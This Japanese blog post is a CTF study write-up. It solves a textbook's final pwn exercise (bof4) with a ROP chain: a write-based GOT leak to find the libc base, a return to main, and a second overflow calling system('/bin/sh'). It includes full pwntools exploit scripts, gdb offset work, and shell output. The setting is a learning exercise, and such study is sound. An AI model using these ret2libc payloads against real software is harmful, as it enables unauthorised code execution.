ACCE55_DE21ED

競プロとCTF

ハリネズミ本 pwn編 最終問題 Full RELROの場合の解法

0. 雑

CTFを学ぶ上で言わずと知れたハリネズミ本

pwn編は特に,最初は難しいと感じるものですが,問題演習をしていく内にだんだん理解できるようになってきました.

本編で扱っている問題ファイルの中から,今回は最終問題 (step5/aslr/bof4) の別解について紹介しようと思います.

1. 問題内容

$ file bof4
bof4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=00332e38ebe289735e8c18f44a7f7f2d3e4c45ea, not stripped
$ ldd bof4
    linux-gate.so.1 (0xf7f5d000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d4c000)
    /lib/ld-linux.so.2 (0xf7f5e000)
$ checksec.sh --file bof4
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   bof4

※ただし,ASLRは有効

率直に言うと,バッファオーバーフローがあり,writeread関数がバイナリに含まれていてかつFULL RELROでないので,write__libc_start_mainのGOTアドレスリークからのlibc_baseリーク,readでGOT Overwrite+"/bin/sh"を入力でシェルを起動という感じです.正直ここは本質ではないので,詳しくは本を読んで下さい.

さて,今回はPartial RELROだったのでGOT Overwriteで解けましたがFULL RELROの場合はどうでしょう?GOTがREAD ONLYになっているので攻撃が失敗してしまいます.

2. 解法

本で紹介された解法では,main関数を1回だけ実行する形にしていましたが,write__libc_start_mainGOTをリークした後でmain関数に飛ばす事もできます.

そこで,libc_baseをリークした後mainに飛ばし,2回目のmain関数のリターン時にsystem("/bin/sh")を起動してシェルを奪う事を考えます.

3. エクスプロイト

3-1. libc base のリーク

動的リンクされているELFファイルにおいて,libc内にある関数のELF内のアドレスはlibc base + libc内のオフセット という計算式で求まります.つまり,libc baseのアドレスが分かるとELF内のsystemのアドレスや"/bin/sh"のアドレスが分かるので嬉しいです.

まずは,バッファからリターンアドレスまでのオフセットを調べます.

gdb-pedaは入れておきましょう.以下のように調べると,51文字である事が分かります.

f:id:defineprogram:20200727113637p:plain

というわけで,取り敢えずlibc baseをリークする所までやってみます.

以下では,__libc_start_mainGOTアドレスにある値をwriteでリークし,そこからlibc内の__libc_start_mainのオフセットを引く事でlibc baseを特定しています.

GOTには,実際の関数のアドレスがどこかという情報が入っているので,これとlibcのオフセットが分かっていればlibc baseの値が引き算で分かるという訳です.

エクスプロイトコードを書く時,pwntoolsは本当に便利なので,まだ入れてない場合は必ず入れておきましょう!!

from pwn import *
elf=ELF("./bof4")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
p=process("./bof4")

# 埋め草
payload=b"A"*51
# write(1,__libc_start_main's GOT address,4)
payload+=p32(elf.plt['write'])
payload+=p32(0x0804854d) #pop3 ret
payload+=p32(1)
payload+=p32(elf.got['__libc_start_main'])
payload+=p32(4)
# main関数に飛ばす
payload+=p32(elf.symbols['main'])

p.sendlineafter(b"Hello\n",payload)
libc_start_main=u32(p.recv(4))
print(hex(libc_start_main))
libc_base=libc_start_main-libc.symbols['__libc_start_main']
print(hex(libc_base))
$ python3 exploit.py 
[*] '/home/defineprogram/Documents/book4b_pwn/step5/aslr/bof4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './bof4': pid 444682
0xf7cf3df0
0xf7cd5000

libc_baseの下3桁が0なので,ちゃんと特定できている事が分かります.当たり前ですが,ASLRが有効なのでlibc_baseの値は毎回変わります.

3-2. シェルの起動

リークしたlibc_baseを使ってsystem("/bin/sh")を呼び出し,シェルを起動しましょう.

上のコードに以下のコードを追加します.

# 埋め草
payload=b"A"*51
# system("/bin/sh")
payload+=p32(libc_base+libc.symbols['system'])
payload+=p32(0x08048315) #pop ret
payload+=p32(libc_base+next(libc.search(b"/bin/sh")))
# exit(0)
payload+=p32(libc_base+libc.symbols['exit'])
payload+=b"AAAA"
payload+=p32(0)

p.sendlineafter(b"Hello\n",payload)
p.interactive()

実行してみると...

$ python3 exploit.py 
[*] '/home/defineprogram/Documents/book4b_pwn/step5/aslr/bof4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './bof4': pid 445018
0xf7ceadf0
0xf7ccc000
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ 
[*] Process './bof4' stopped with exit code -11 (SIGSEGV) (pid 445018)
[*] Got EOF while sending in interactive

あれぇ!?シェルが起動できていません(途中に $ と表示されているのは,pwn-toolsの)

なぜでしょう?pwn-toolsにはgdbでアタッチする機能がついているので調べてみます.

f:id:defineprogram:20200727115754p:plain

2回目の方は51個では多かったようです.そこで,さっきの追加した

payload=b"A"*51

の部分を

payload=b"AAA%AAsAABAA$AAnAACAA-AA(AADA..."

に差し替え,gdb.attachを追加してみます.( pattern_createのやつ )

f:id:defineprogram:20200727120102p:plain

43文字のようです.1回目の51文字とは8文字差が出ましたが,何か意味があるのでしょうか?

8って2冪だし,16の半分だし何か訳がありそうですよね.まぁそれはいいとしてオフセットが判明したので最終的な攻撃コードは以下のようになります.

from pwn import *
elf=ELF("./bof4")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
p=process("./bof4")

# 埋め草
payload=b"A"*51
# write(1,__libc_start_main's GOT address,4)
payload+=p32(elf.plt['write'])
payload+=p32(0x0804854d) #pop3 ret
payload+=p32(1)
payload+=p32(elf.got['__libc_start_main'])
payload+=p32(4)
# mainに飛ばす
payload+=p32(elf.symbols['main'])

p.sendlineafter(b"Hello\n",payload)
libc_start_main=u32(p.recv(4))
print(hex(libc_start_main))
libc_base=libc_start_main-libc.symbols['__libc_start_main']
print(hex(libc_base))

# 埋め草
payload=b"A"*43
# system("/bin/sh")
payload+=p32(libc_base+libc.symbols['system'])
payload+=p32(0x08048315) #pop ret
payload+=p32(libc_base+next(libc.search(b"/bin/sh")))
# exit(0)
payload+=p32(libc_base+libc.symbols['exit'])
payload+=b"AAAA"
payload+=p32(0)

p.sendlineafter(b"Hello\n",payload)
p.interactive()

実行してみると,ちゃんとシェルが起動できていることが分かります.

一応,最後にexit(0)したので正常終了していますね.

※セキュリティ機構の表示は配布ファイルをそのまま使っているのでPartial RELROのままになっていますがRELROに触れるような事はしていないので大丈夫なはず.

$ python3 exploit.py 
[*] '/home/defineprogram/Documents/book4b_pwn/step5/aslr/bof4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './bof4': pid 445735
0xf7cf1df0
0xf7cd3000
[*] Switching to interactive mode
$ ls
aslr.py  bof4.txt    exploit.py  peda-session-bof4.txt
bof4     bruteforce.py    flag.txt    peda-session-ls.txt
bof4.c     core        leak.py     socket
$ exit
[*] Got EOF while reading in interactive
$ 
[*] Process './bof4' stopped with exit code 0 (pid 445735)

ポエム

やっぱりシェルが起動すると爽快感ありますね.Happy Hacking!